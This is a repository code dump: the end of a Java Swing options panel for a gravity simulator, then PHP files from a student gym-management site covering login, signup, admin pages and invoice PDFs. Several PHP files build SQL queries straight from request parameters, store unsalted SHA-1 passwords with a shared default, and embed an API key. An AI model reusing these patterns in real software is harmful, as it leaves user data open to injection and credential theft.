thickness >= 0 ? thickness : -thickness
);
}catch(NumberFormatException exc) {}
}
});
pOptionGraphics.add(txtDrawEllipseThickness);
pOptionContainer.add(pOptionGraphics);
JPanel pOptionSpeedMain = new JPanel();
bPauseResume = new JButton(iconPause);
bPauseResume.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
Main.getController().pauseOrResume();
updatePauseResumeButton();
}
});
pOptionSpeedMain.add(bPauseResume);
// lSimulationSpeed = new JLabel("speed");
// pOptionSpeedMain.add(lSimulationSpeed);
pOptionContainer.add(pOptionSpeedMain);
JPanel pOptionSpeed = new JPanel();
//speed control
JButton bSliderSimulationSpeedPlus = new JButton("+");
bSliderSimulationSpeedPlus.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
changeValueMdklS(true);
EventManager.onOptionWindowMdklSChange();
}
});
pOptionSpeed.add(bSliderSimulationSpeedPlus);
lMdklSDelta = new JLabel(Controller.defaultTimeMdklSDelta + " s");
pOptionSpeed.add(lMdklSDelta);
JButton bSliderSimulationSpeedMinus = new JButton("-");
bSliderSimulationSpeedMinus.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
changeValueMdklS(false);
EventManager.onOptionWindowMdklSChange();
}
});
pOptionSpeed.add(bSliderSimulationSpeedMinus);
pOptionContainer.add(pOptionSpeed);
//----------------------------------------------------------------------------------------------------
//Option for checkboxes
JPanel pOptionCheckboxes1 = new JPanel();
JCheckBox checkboxOptionDrawBodyInfotags = new JCheckBox("Info Tags", DrawComp.drawBodyInfoTagsOnDefault);
checkboxOptionDrawBodyInfotags.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
Main.getController().getWindow().getDrawComp().setDrawBodyInfoTags(checkboxOptionDrawBodyInfotags.isSelected());
}
});
pOptionCheckboxes1.add(checkboxOptionDrawBodyInfotags);
JCheckBox checkboxOptionDrawEllipseFocusPoints = new JCheckBox("Focus Points", DrawComp.drawBodyInfoTagsOnDefault);
checkboxOptionDrawEllipseFocusPoints.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
Main.getController().getWindow().getDrawComp().setDrawFocusPoints(checkboxOptionDrawEllipseFocusPoints.isSelected());
}
});
pOptionCheckboxes1.add(checkboxOptionDrawEllipseFocusPoints);
JCheckBox checkboxOptionDrawGIFs = new JCheckBox("GIFs", DrawComp.drawGIFsOnDefault);
checkboxOptionDrawGIFs.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
Main.getController().getWindow().getDrawComp().setDrawGIFs(checkboxOptionDrawGIFs.isSelected());
}
});
pOptionCheckboxes1.add(checkboxOptionDrawGIFs);
JCheckBox checkboxOptionDrawWithDensity = new JCheckBox("Density", DrawComp.drawWithDensityOnDefault);
checkboxOptionDrawWithDensity.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
Main.getController().getWindow().getDrawComp().setDrawWithDensity(checkboxOptionDrawWithDensity.isSelected());
}
});
pOptionCheckboxes1.add(checkboxOptionDrawWithDensity);
JCheckBox checkboxOptionDrawBodyOutline = new JCheckBox("Outline", DrawComp.drawBodyOutlineOnDefault);
checkboxOptionDrawBodyOutline.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
Main.getController().getWindow().getDrawComp().setDrawBodyOutline(checkboxOptionDrawBodyOutline.isSelected());
}
});
pOptionCheckboxes1.add(checkboxOptionDrawBodyOutline);
JCheckBox checkboxOptionDrawEllipse = new JCheckBox("Ellipse", DrawComp.drawEllipseOnDefault);
checkboxOptionDrawEllipse.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
Main.getController().getWindow().getDrawComp().setDrawEllipse(checkboxOptionDrawEllipse.isSelected());
}
});
pOptionCheckboxes1.add(checkboxOptionDrawEllipse);
checkboxOptionDrawBackgroundImage = new JCheckBox("BackgroundImage", DrawComp.drawBackgroundImageOnDefault);
checkboxOptionDrawBackgroundImage.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
Main.getController().getWindow().getDrawComp().setDrawBackgroundImage(checkboxOptionDrawBackgroundImage.isSelected());
}
});
pOptionCheckboxes1.add(checkboxOptionDrawBackgroundImage);
pOptionContainer.add(pOptionCheckboxes1);
//----------------------------------------------------------------------------------------------------
//Option for checkboxes (2)
JPanel pOptionCheckboxes2 = new JPanel();
JCheckBox checkboxOptionOnlyDrawEllipseIfBodyVisible = new JCheckBox("Only draw El. if B. vis.", DrawComp.onlyDrawEllipseIfBodyVisibleOnDefault);
checkboxOptionOnlyDrawEllipseIfBodyVisible.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
Main.getController().getWindow().getDrawComp().setOnlyDrawEllipseIfBodyVisible(checkboxOptionOnlyDrawEllipseIfBodyVisible.isSelected());
}
});
pOptionCheckboxes2.add(checkboxOptionOnlyDrawEllipseIfBodyVisible);
JCheckBox checkboxOptionDrawTime = new JCheckBox("time", DrawComp.drawTimePassedOnDefault);
checkboxOptionDrawTime.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
Main.getController().getWindow().getDrawComp().setDrawTimePassed(checkboxOptionDrawTime.isSelected());
}
});
pOptionCheckboxes2.add(checkboxOptionDrawTime);
pOptionContainer.add(pOptionCheckboxes2);
this.pack();
//create rigid area so that the other components gets pushed upwards all the way
pOptionContainer.add(Box.createRigidArea(new Dimension(0, Integer.MAX_VALUE)));
this.setLocationRelativeTo(null);
this.setVisible(false);
}
private JLabel getUtilityLabelSpacer() {
return new JLabel(" || ");
}
private void changeValueMdklS(boolean increase) {
int change = increase ? 1 : -1;
this.valueMdklSDelta = Math.pow(10, Math.log10(this.valueMdklSDelta) + change);
}
private void addOptionButton(String name, ActionListener actionListener) {
JButton button = new JButton(name);
button.addActionListener(actionListener);
this.pOptionContainer.add(button);
}
private void loadIcons() {
iconPause = new ImageIcon("res/icons/icon_pause.png", "pause");
iconResume = new ImageIcon("res/icons/icon_resume.png", "resume");
}
//----------------------------------------------------
// Update methods
public void updateLMdklSDelta() {
this.lMdklSDelta.setText(this.valueMdklSDelta + " s");
}
public void onAnalyzationFinish() {
SwingUtilities.invokeLater(new Runnable() {
public void run() {
updatePauseResumeButton();
}
});
}
public void updateBodyList() {
Object bodySelected = this.boxBodyList.getSelectedItem();
this.boxBodyList.removeAllItems();
for(Body body : Main.getController().getBodies())
this.boxBodyList.addItem(body);
if(Main.getController().getBodies().contains(bodySelected))
this.boxBodyList.setSelectedItem(bodySelected);
}
private void updatePauseResumeButton() {
switch(Main.getController().getSimulationState()) {
case PAUSED:
//bPauseResume.setText("resume");
bPauseResume.setIcon(iconResume);
bPauseResume.setEnabled(true);
break;
case SIMULATING:
// bPauseResume.setText("pause");
bPauseResume.setIcon(iconPause);
bPauseResume.setEnabled(true);
break;
default:
bPauseResume.setEnabled(false);
break;
}
}
public void toggleBackgroundImage(){
this.checkboxOptionDrawBackgroundImage.doClick();
}
//--------------------------------------------------------------------------------------------------
//GETTERS
public double getSelectedMdklSDelta() {
return valueMdklSDelta;
}
}
|
93255ebcfb4e0c57fb9165c3e6ad71aaa73f4143
|
[
"Markdown",
"Java"
] | 8 |
Java
|
dasei/gravi-sim
|
c755e767658a70ac7121b3badabb4e663b75333d
|
127e71e00bb5cc25db36bedeb25ecc32ad565b1f
|
refs/heads/master
|
<repo_name>quentinpmf/utbm-gymManagementWebsite<file_sep>/includes/includeCSSandJS.php
<head>
<!-- Mobile Specific Meta -->
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<!-- Favicon-->
<link rel="shortcut icon" href="<?php echo ROOT_DIR ?>/img/fav.png">
<!-- Author Meta -->
<meta name="author" content="codepixer">
<!-- Meta Description -->
<meta name="description" content="">
<!-- Meta Keyword -->
<meta name="keywords" content="">
<!-- meta character set -->
<meta charset="UTF-8">
<!-- Site Title -->
<title>Fitness Club</title>
<link href="https://fonts.googleapis.com/css?family=Poppins:100,200,400,300,500,600,700" rel="stylesheet">
<!--
CSS
============================================= -->
<link rel="stylesheet" href="<?php echo ROOT_DIR ?>/css/linearicons.css">
<link rel="stylesheet" href="<?php echo ROOT_DIR ?>/css/font-awesome.min.css">
<link rel="stylesheet" href="<?php echo ROOT_DIR ?>/css/bootstrap.css">
<link rel="stylesheet" href="<?php echo ROOT_DIR ?>/css/magnific-popup.css">
<link rel="stylesheet" href="<?php echo ROOT_DIR ?>/css/nice-select.css">
<link rel="stylesheet" href="<?php echo ROOT_DIR ?>/css/animate.min.css">
<link rel="stylesheet" href="<?php echo ROOT_DIR ?>/css/owl.carousel.css">
<link rel="stylesheet" href="<?php echo ROOT_DIR ?>/css/main.css">
<script src="<?php echo ROOT_DIR ?>/js/vendor/jquery-2.2.4.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js" integrity="<KEY>" crossorigin="anonymous"></script>
<script src="<?php echo ROOT_DIR ?>/js/vendor/bootstrap.min.js"></script>
<script type="text/javascript" src="https://maps.googleapis.com/maps/api/js?key=AIzaSyBhOdIF3Y9382fqJYt5I_sswSrEw5eihAA"></script>
<script src="<?php echo ROOT_DIR ?>/js/easing.min.js"></script>
<script src="<?php echo ROOT_DIR ?>/js/hoverIntent.js"></script>
<script src="<?php echo ROOT_DIR ?>/js/superfish.min.js"></script>
<script src="<?php echo ROOT_DIR ?>/js/jquery.ajaxchimp.min.js"></script>
<script src="<?php echo ROOT_DIR ?>/js/jquery.magnific-popup.min.js"></script>
<script src="<?php echo ROOT_DIR ?>/js/owl.carousel.min.js"></script>
<script src="<?php echo ROOT_DIR ?>/js/jquery.sticky.js"></script>
<script src="<?php echo ROOT_DIR ?>/js/jquery.nice-select.min.js"></script>
<script src="<?php echo ROOT_DIR ?>/js/parallax.min.js"></script>
<script src="<?php echo ROOT_DIR ?>/js/waypoints.min.js"></script>
<script src="<?php echo ROOT_DIR ?>/js/jquery.counterup.min.js"></script>
<script src="<?php echo ROOT_DIR ?>/js/mail-script.js"></script>
<script src="<?php echo ROOT_DIR ?>/js/main.js"></script>
</head><file_sep>/includes/banner.php
<?php session_start(); ?>
<div class="container">
<div class="row header-top align-items-center">
<div class="col-lg-4 col-sm-4 menu-top-left">
<span>
<a href="<?php echo ROOT_DIR ?>/index.php">FITNESS CLUB</a>
</span>
</div>
<div class="col-lg-4 menu-top-middle justify-content-center d-flex">
<a href="<?php echo ROOT_DIR ?>/index.php">
<img src="<?php echo ROOT_DIR ?>/img/logo_fit.png">
</a>
</div>
<div class="col-lg-4 col-sm-4 menu-top-right">
<?php
if(isset($_SESSION['UserId']))
{
?>
<a style="display:inline-block" href="<?php echo ROOT_DIR ?>/php/login/logout.php"><div class="banner_utilisateur"><div class="lnr lnr-exit"></div></div></a>
<?php
switch($_SESSION['UserRole'])
{
case 1: //adhérent
$include = '/php/adherent/home.php';
break;
case 2: //coach
$include = '/php/coach/home.php';
break;
case 3: //comptable
$include = '/php/comptable/home.php';
break;
case 4: //webmaster - admin
$include = '/php/admin/home.php';
break;
case 5: //pdg
$include = '/php/pdg/home.php';
break;
}
?>
<a style="display:inline-block" href="<?php echo ROOT_DIR.$include ?>"><div class="banner_utilisateur"><?php echo utf8_encode($_SESSION['UserPrenom']." ".$_SESSION['UserNom']." (".$_SESSION['UserRole'].") "); ?></div></a>
<?php
}
else
{
?>
<a href="<?php echo ROOT_DIR ?>/php/login/login.php"><span class="lnr lnr-user"></span></a>
<?php
}
?>
</div>
</div>
</div>
<hr><file_sep>/php/login/connectToBDD/classes.php
<?php
class user{
private $UserId, $UserEmail, $UserPassword, $UserNom, $UserPrenom, $UserAdress, $UserCP, $UserVille, $UserTel, $UserIdAbonnementTexte, $UserIdAbonnementTarif, $UserIdAbonnement, $UserNumAdherent, $UserDateAdhesion, $UserRole, $UserBloque;
/*Création de fonction pour allez chercher les informations */
//Id
public function getUserId(){
return $this->UserId;
}
public function setUserID($UserId){
$this->UserId=$UserId;
}
//Email
public function getUserEmail(){
return $this->UserEmail;
}
public function setUserEmail($UserEmail){
$this->UserEmail=$UserEmail;
}
//Password
public function getUserPassword(){
return $this->UserPassword;
}
public function setUserPassword($UserPassword){
$this->UserPassword=$UserPassword;
}
//Nom
public function getUserNom(){
return $this->UserNom;
}
public function setUserNom($UserNom){
$this->UserNom=$UserNom;
}
//Prenom
public function getUserPrenom(){
return $this->UserPrenom;
}
public function setUserPrenom($UserPrenom){
$this->UserPrenom=$UserPrenom;
}
//ADRESSE
public function getUserAdress(){
return $this->UserAdress;
}
public function setUserAdress($UserAdress){
$this->UserAdress=$UserAdress;
}
//CODE POSTAL
public function getUserCP(){
return $this->UserCP;
}
public function setUserCP($UserCP){
$this->UserCP=$UserCP;
}
//VILLE
public function getUserVille(){
return $this->UserVille;
}
public function setUserVille($UserVille){
$this->UserVille=$UserVille;
}
//TEL
public function getUserTel(){
return $this->UserTel;
}
public function setUserTel($UserTel){
$this->UserTel=$UserTel;
}
//UserIdAbonnement
public function getUserIdAbonnement(){
return $this->UserIdAbonnement;
}
public function setUserIdAbonnement($UserIdAbonnement){
$this->UserIdAbonnement=$UserIdAbonnement;
}
//UserIdAbonnementTexte
public function getUserIdAbonnementTexte(){
return $this->UserIdAbonnementTexte;
}
public function setUserIdAbonnementTexte($UserIdAbonnementTexte){
$this->UserIdAbonnementTexte=$UserIdAbonnementTexte;
}
//UserIdAbonnementTarif
public function getUserIdAbonnementTarif(){
return $this->UserIdAbonnementTarif;
}
public function setUserIdAbonnementTarif($UserIdAbonnementTarif){
$this->UserIdAbonnementTarif=$UserIdAbonnementTarif;
}
//UserNumAdherent
public function getUserNumAdherent(){
return $this->UserNumAdherent;
}
public function setUserNumAdherent($UserNumAdherent){
$this->UserNumAdherent=$UserNumAdherent;
}
//UserDateAdhesion
public function getUserDateAdhesion(){
return $this->UserDateAdhesion;
}
public function setUserDateAdhesion($UserDateAdhesion){
$this->UserDateAdhesion=$UserDateAdhesion;
}
//Role
public function getUserRole(){
return $this->UserRole;
}
public function setUserRole($UserRole){
$this->UserRole=$UserRole;
}
//UserBloque
public function getUserBloque(){
return $this->UserBloque;
}
public function setUserBloque($UserBloque){
$this->UserBloque=$UserBloque;
}
/*Compar les donnés saisi par l'utilisateur avec ceux sur la BDD*/
public function Userlogin(){
include "conn.php";
$req=$bdd->prepare("SELECT * FROM utilisateurs WHERE email=:UserEmail AND password=:UserPassword");
$req->execute(array(
'UserEmail'=>$this->getUserEmail(),
'UserPassword'=>$this->getUserPassword()
));
if($req->rowCount()==0){
header("Location: ../login.php?error=1"); /*Erreur de connexion*/
return false;
}
else{
while($data=$req->fetch()){
$this->setUserId($data['id']);
$this->setUserEmail($data['email']);
$this->setUserPassword($data['<PASSWORD>']);
$this->setUserNom($data['nom']);
$this->setUserPrenom($data['prenom']);
$this->setUserAdress($data['adresse']);
$this->setUserCP($data['cp']);
$this->setUserVille($data['ville']);
$this->setUserTel($data['telephone']);
$this->setUserNumAdherent($data['num_adherent']);
$this->setUserRole($data['role']);
$this->setUserBloque($data['bloque']);
}
//récuperer infos table abonnements_utilisateurs
$req2=$bdd->prepare("SELECT * FROM abonnements_utilisateurs WHERE id_utilisateur=:UserId");
$req2->execute(array(
'UserId'=>$this->getUserId()
));
while($data2=$req2->fetch()){
$this->setUserIdAbonnement($data2['id_abonnement']);
$this->setUserDateAdhesion($data2['date_abonnement']);
}
//récuperer infos table abonnements
$req3=$bdd->prepare("SELECT * FROM abonnements WHERE id=:UserIdAbonnement");
$req3->execute(array(
'UserIdAbonnement'=>$this->getUserIdAbonnement()
));
while($data3=$req3->fetch()){
$this->setUserIdAbonnementTexte($data3['texte']);
$this->setUserIdAbonnementTarif($data3['tarif']);
}
header("Location: ../../../index.php?connect=ok"); /*Bien identifié la session est créée*/
return true;
}
}
public function InsertUserAbonnement($userId){
include "conn.php";
$req=$bdd->prepare("INSERT INTO abonnements_utilisateurs(id_abonnement,id_utilisateur,date_abonnement) VALUES (:id_abonnement,:id_utilisateur,:date_abonnement)");
$req->execute(array(
'id_abonnement'=>$this->getUserIdAbonnement(),
'id_utilisateur'=>$this->getUserId(),
'date_abonnement'=>$this->getUserDateAdhesion()
));
$req2=$bdd->prepare("SELECT * FROM abonnements_utilisateurs WHERE id_utilisateur=:UserId");
$req2->execute(array(
'UserId'=>$this->getUserId()
));
if($req2->rowCount()==0){
header("Location: ../login.php?error=InsertUserAbonnement"); /*Erreur de connexion*/
return false;
}
else{
while($data=$req2->fetch()){
$this->setUserNumAdherent($data['id_abonne']);
}
$req=$bdd->prepare("UPDATE utilisateurs SET num_adherent = :UserNumAdherent WHERE id = :UserId");
$req->execute(array(
'UserNumAdherent'=>$this->getUserNumAdherent(),
'UserId'=>$this->getUserId()
));
}
}
public function InsertUser(){
include "conn.php";
$req=$bdd->prepare("INSERT INTO utilisateurs(email,password,nom,prenom,adresse,cp,ville,telephone,num_adherent,role,bloque) VALUES (:UserEmail,:UserPassword,:UserNom,:UserPrenom,:UserAdress,:UserCP,:UserVille,:UserTel,:UserNumAdherent,:UserRole,:UserBloque)");
$req->execute(array(
'UserEmail'=>$this->getUserEmail(),
'UserPassword'=>$this->getUserPassword(),
'UserNom'=>$this->getUserNom(),
'UserPrenom'=>$this->getUserPrenom(),
'UserAdress'=>$this->getUserAdress(),
'UserCP'=>$this->getUserCP(),
'UserVille'=>$this->getUserVille(),
'UserTel'=>$this->getUserTel(),
'UserNumAdherent'=>$this->getUserNumAdherent(),
'UserRole'=>$this->getUserRole(),
'UserBloque'=>$this->getUserBloque()
));
$req2=$bdd->prepare("SELECT * FROM utilisateurs WHERE email=:UserEmail");
$req2->execute(array(
'UserEmail'=>$this->getUserEmail()
));
if($req2->rowCount()==0){
header("Location: ../login.php?error=InsertUser"); /*Erreur de connexion*/
return false;
}
else{
while($data=$req2->fetch()){
$this->setUserId($data['id']);
}
}
}
}
?><file_sep>/php/admin/home.php
<!DOCTYPE html>
<html lang="zxx" class="no-js">
<?php
//config
include "../login/connectToBDD/conn.php";
include '../../includes/config.php';
?>
<header id="header">
<?php include '../../includes/banner.php'; ?>
<?php include '../../includes/menu_admin.php'; ?>
</header>
<body>
<section class="section-gap">
<div class="title text-center"></div>
</section>
</body>
</html><file_sep>/includes/config.php
<?php
if (!defined('ROOT_DIR')) {
define('ROOT_DIR', '/projetTA70');
}
include 'includeCSSandJS.php';
?><file_sep>/php/admin/actualites_new.php
<!DOCTYPE html>
<html lang="zxx" class="no-js">
<?php
//config
include "../login/connectToBDD/conn.php";
include '../../includes/config.php';
?>
<header id="header">
<?php include '../../includes/banner.php'; ?>
<?php include '../../includes/menu_admin.php'; ?>
</header>
<body>
<section class="section-gap">
<div class="title text-center">
<h1 style="margin-top: 70px" class="mb-10"><u>Nouvelle Actualité</u></h1>
<form enctype="multipart/form-data" method="post" action="actualite_add.php">
<table style="border: 1px solid black; border-collapse: separate; border-spacing: 5px;" cellspacing="0" cellpadding="2" border="0" width="400" align="center">
<tr>
<td colspan="2"><input type="text" name="titre" placeholder="Titre de l'actualité" size="50" maxlength="55" required autofocus></td>
</tr>
<tr>
<td colspan="2"><textarea rows="10" cols="100" name="description" placeholder="Votre texte ici..." required></textarea></td>
</tr>
<tr>
<td align="left"><input type="file" name="image"></td>
</tr>
<tr>
<td align="left"><input type="checkbox" name="publier" checked> Publier maintenant</td>
<td align="right"><input type="submit" name="btn_publier" value="Enregistrer"></td>
</tr>
</table>
</form>
</div>
</section>
</body>
</html><file_sep>/php/admin/generer_pdf.php
<?php
require('../../includes/fpdf/fpdf.php');
require('../login/connectToBDD/conn.php');
date_default_timezone_set('Europe/Paris');
//je génére la facture
class PDF extends FPDF
{
// Load data
function LoadData($file)
{
// Read file lines
$lines = file($file);
$data = array();
foreach($lines as $line)
$data[] = explode(';',trim($line));
return $data;
}
// En-tête
function Header()
{
require('../login/connectToBDD/conn.php');
$id_utilisateur = $_GET['userid'];
$abonnements_utilisateurs = $bdd->query("SELECT * FROM abonnements_utilisateurs WHERE id_utilisateur='$id_utilisateur'");
while ($donnees_abonnements_utilisateurs = $abonnements_utilisateurs->fetch())
{
$id_abonne = htmlspecialchars($donnees_abonnements_utilisateurs['id_abonne']);
$id_abonnement = htmlspecialchars($donnees_abonnements_utilisateurs['id_abonnement']);
$id_utilisateur = htmlspecialchars($donnees_abonnements_utilisateurs['id_utilisateur']);
$date_abonnement = htmlspecialchars($donnees_abonnements_utilisateurs['date_abonnement']);
$abonnement = $bdd->query("SELECT * FROM abonnements WHERE id='$id_abonnement'");
while ($donnees_abonnement = $abonnement->fetch())
{
$abonnement_texte = htmlspecialchars($donnees_abonnement['texte']);
$abonnement_tarif = htmlspecialchars($donnees_abonnement['tarif']);
}
$user = $bdd->query("SELECT * FROM utilisateurs WHERE id='$id_utilisateur'");
while ($donnees_user = $user->fetch())
{
$user_id = htmlspecialchars($donnees_user['id']);
$user_nom = htmlspecialchars($donnees_user['nom']);
$user_prenom = htmlspecialchars($donnees_user['prenom']);
$user_adresse = htmlspecialchars($donnees_user['adresse']);
$user_cp = htmlspecialchars($donnees_user['cp']);
$user_ville = htmlspecialchars($donnees_user['ville']);
$user_tel = htmlspecialchars($donnees_user['telephone']);
}
}
$code_commande = 'FACT_'.$id_abonnement;
$chemin = $code_commande.'_'.date("Y-m-d").'.pdf';
$date_jour = date("Y-m-d");
$factures = $bdd->query("SELECT COUNT(*) As 'nbFactureDuJour' FROM factures WHERE id_user='$user_id' AND date_creation='$date_jour'");
while ($donnees_factures = $factures->fetch())
{
$nbFactureDuJour = htmlspecialchars($donnees_factures['nbFactureDuJour']);
}
if($nbFactureDuJour == 0)
{
$req=$bdd->prepare("INSERT INTO factures(id_user,statut,chemin,date_creation,date_validation) VALUES (:id_user,:statut,:chemin,:date_creation,:date_validation)");
$req->execute(array(
'id_user'=>$user_id,
'statut'=>0,
'chemin'=>$chemin,
'date_creation'=>$date_jour,
'date_validation'=>NULL
));
}
// Cell(largeur, hauteur, 'texte', bordure(0 ou 1), ln(indique ou se place la valeur suivante 0:droite,1:new ligne,2:en dessous), alignement (L, C, R) // Logo
$this->Image('../../img/logo_fit.png',15,6,30);
// Facture
$this->SetFont('Arial','B',12);
$this->Cell(80);
$this->Cell(30,7,'FACTURE',0,0,'C');
// N° facture
$this->Cell(80,7,''.utf8_decode('N° : '.$code_commande.''),0,1,'R');
// date
$this->Cell(190,7,''.utf8_decode('du '.$date_jour),0,1,'R');
// passe la ligne
$this->ln(15);
// entreprise
$this->Cell(40,5,'Fitness Club',0,0,'C');
// destinataire
$this->Cell(50);
$this->SetFont('Arial','IU',8);
$this->Cell(100,5,'Destinataire','TLR',1,'L');
// location
$this->SetFont('Arial','',10);
$this->Cell(40,5,'12 rue <NAME>',0,0,'C');
//nom destinataire
$this->Cell(50);
$this->Cell(100,5,$user_nom." ".$user_prenom,'LR',1,'C');
// ville
$this->Cell(40,5,'90000 BELFORT',0,0,'C');
//adresse destinataire
$this->Cell(50);
$this->Cell(100,5,$user_adresse,'LR',1,'C');
// tel
$this->Cell(40,5,'Tel. 03.84.58.30.00',0,0,'C');
//ville destinataire
$this->Cell(50);
$this->SetFont('Arial','B',10);
$this->Cell(100,5,$user_cp." ".$user_ville,'LR',1,'C');
// fax
$this->SetFont('Arial','',10);
$this->Cell(40,5,'Site. utbm.fr',0,0,'C');
//espace
$this->Cell(50);
$this->Cell(100,5,'','BLR',1,'C');
// passe la ligne
$this->ln(10);
}
function FancyTable($header_tableau)
{
// Couleurs, épaisseur du trait et police grasse
$this->SetFillColor(185,54,64);
$this->SetTextColor(255);
$this->SetDrawColor(0,0,0);
$this->SetLineWidth(.3);
$this->SetFont('','B');
// En-tête
$w = array(160, 30);
$this->Cell($w[0],7,$header_tableau[0],1,0,'L',true);
$this->SetFillColor(59,95,171); //on change la couleur pour la deuxieme colonne
$this->Cell($w[1],7,$header_tableau[1],1,0,'R',true);
$this->Ln();
// Restauration des couleurs et de la police
$this->SetFillColor(56,144,182);
$this->SetTextColor(0);
$this->SetFont('');
// Données
$fill = false;
// Trait de terminaison
$this->Cell(array_sum($w),0,'','T');
$this->Cell(0,0,'',1,1,'C');
}
// Pied de page
function Footer()
{
require('../login/connectToBDD/conn.php');
$id_utilisateur = $_GET['userid'];
$abonnements_utilisateurs = $bdd->query("SELECT * FROM abonnements_utilisateurs WHERE id_utilisateur='$id_utilisateur'");
while ($donnees_abonnements_utilisateurs = $abonnements_utilisateurs->fetch())
{
$id_abonne = htmlspecialchars($donnees_abonnements_utilisateurs['id_abonne']);
$id_abonnement = htmlspecialchars($donnees_abonnements_utilisateurs['id_abonnement']);
$id_utilisateur = htmlspecialchars($donnees_abonnements_utilisateurs['id_utilisateur']);
$date_abonnement = htmlspecialchars($donnees_abonnements_utilisateurs['date_abonnement']);
$abonnement = $bdd->query("SELECT * FROM abonnements WHERE id='$id_abonnement'");
while ($donnees_abonnement = $abonnement->fetch())
{
$abonnement_texte = htmlspecialchars($donnees_abonnement['texte']);
$abonnement_tarif = htmlspecialchars($donnees_abonnement['tarif']);
}
}
// tarif net a payer
$this->Cell(160,7,''.$abonnement_texte.utf8_decode(' 1 mois '),'LBR',0,'L');
// tarif net a payer
$this->Cell(30,7,''.$abonnement_tarif.chr(128),'BR',1,'R');
//.chr(128) = €
}
}
// Instanciation de la classe dérivée
ob_get_clean(); //je vide le tampon de sortie
$pdf = new PDF();
$id_utilisateur = $_GET['userid'];
$abonnements_utilisateurs = $bdd->query("SELECT * FROM abonnements_utilisateurs WHERE id_utilisateur='$id_utilisateur'");
while ($donnees_abonnements_utilisateurs = $abonnements_utilisateurs->fetch())
{
$id_abonne = htmlspecialchars($donnees_abonnements_utilisateurs['id_abonne']);
$id_abonnement = htmlspecialchars($donnees_abonnements_utilisateurs['id_abonnement']);
$id_utilisateur = htmlspecialchars($donnees_abonnements_utilisateurs['id_utilisateur']);
$date_abonnement = htmlspecialchars($donnees_abonnements_utilisateurs['date_abonnement']);
$abonnement = $bdd->query("SELECT * FROM abonnements WHERE id='$id_abonnement'");
while ($donnees_abonnement = $abonnement->fetch())
{
$abonnement_texte = htmlspecialchars($donnees_abonnement['texte']);
$abonnement_tarif = htmlspecialchars($donnees_abonnement['tarif']);
}
}
$code_commande = 'FACT_'.$id_abonnement;
$chemin = $code_commande.'_'.date("Y-m-d").'.pdf';
// Titres des colonnes
$header_tableau = array(utf8_decode('Désignation'), 'Total TTC');
// Chargement des données
$pdf->AliasNbPages(); // Define an alias for total number of pages
$pdf->AddPage(); // Start a new page - contient header() / footer()
$pdf->SetFont('Times','',12); //police
$pdf->FancyTable($header_tableau); //corps du devis (tableau+données)
$chemin=$_SERVER['DOCUMENT_ROOT'].'projetTA70/docs_client/FACT/'.$chemin;
$pdf->Output($chemin,'F');
ob_get_clean(); //je vide le tampon de sortie
$pdf->Output($chemin,'I'); // 'D' pour dowload browser
?><file_sep>/php/admin/test.php
<?php
/**
* Created by PhpStorm.
* User: quent
* Date: 21/05/2018
* Time: 23:15
*/
require('../../includes/fpdf/fpdf.php');
$pdf = new FPDF();
$pdf->AddPage();
$pdf->SetFont('Arial','B',16);
$pdf->Cell(40,10,'Hello World !');
$pdf->Output();
?><file_sep>/php/login/connectToBDD/adduser.php
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
include "conn.php";
include "classes.php";
$user = new user();
$inscription_type_abonnement = $_POST['inscription_type_abonnement'];
$nom = $_POST["inscription_nom"]; //stockage de la valeur tap�e par l'utilisateur dans la variable a
$prenom = $_POST["inscription_prenom"]; //stockage de la valeur tap�e par l'utilisateur dans la variable b
$adresse = $_POST["inscription_adresse"]; //stockage de la valeur tap�e par l'utilisateur dans la variable b
$codepostal = $_POST["inscription_cp"]; //stockage de la valeur tap�e par l'utilisateur dans la variable a
$ville = $_POST["inscription_ville"]; //stockage de la valeur tap�e par l'utilisateur dans la variable c
$telephone = $_POST["inscription_tel"]; //stockage de la valeur tap�e par l'utilisateur dans la variable c
$email = $_POST["inscription_email"]; //stockage de la valeur tap�e par l'utilisateur dans la variable a
$nb_caractere_telephone=strlen($telephone); //recupere le nb de caract�res du telephone
$alpverif = "false";
$CharPhoneverif = "false";
if(empty($nom) OR empty($prenom) OR empty($adresse) OR empty($codepostal) OR empty($ville) OR empty($telephone) OR empty($email))
{
header("location: ../signup.php?error=champs_manquant");
exit();
}
else
{
$alpverif = "true" ;
}
if($nb_caractere_telephone!==10)
{
header("location: ../signup.php?error=tel");
exit();
}
else
{
$CharPhoneverif = "true" ;
}
$reqmail = $bdd->query("SELECT email FROM utilisateurs WHERE email='$email'");
while($donneesmail=$reqmail->fetch(PDO::FETCH_OBJ))
{
$emailbdd=$donneesmail->email;
}
if(empty($emailbdd))
{
$passmail="<PASSWORD>";
}
else
{
if($email==$emailbdd)
{
$passmail="<PASSWORD>";
header("location: ../signup.php?error=email_deja_present");
}
else
{
$passmail="<PASSWORD>";
}
}
//bloquer l'inscription si email d�ja enregistr�
if($passmail == "true" And $alpverif == "true" And $CharPhoneverif == "true")
{
//création utilisateur
$user->setUserEmail($_POST['inscription_email']);
$user->setUserPassword(sha1('<PASSWORD>')); //par défaut
$user->setUserNom($_POST['inscription_nom']);
$user->setUserPrenom($_POST['inscription_prenom']);
$user->setUserAdress($_POST['inscription_adresse']);
$user->setUserCP($_POST['inscription_cp']);
$user->setUserVille($_POST['inscription_ville']);
$user->setUserTel($_POST['inscription_tel']);
$user->setUserNumAdherent(0); //ID crée dans utilisateurs
$user->setUserRole(1);
$user->setUserBloque(0);
$user->InsertUser();
//création abonnement
$user->setUserIdAbonnement($_POST['inscription_type_abonnement']);
$user->setUserDateAdhesion(date('Y-m-d'));
$user->InsertUserAbonnement();
header("location: ../signup.php?inscription=ok");
}
else
{
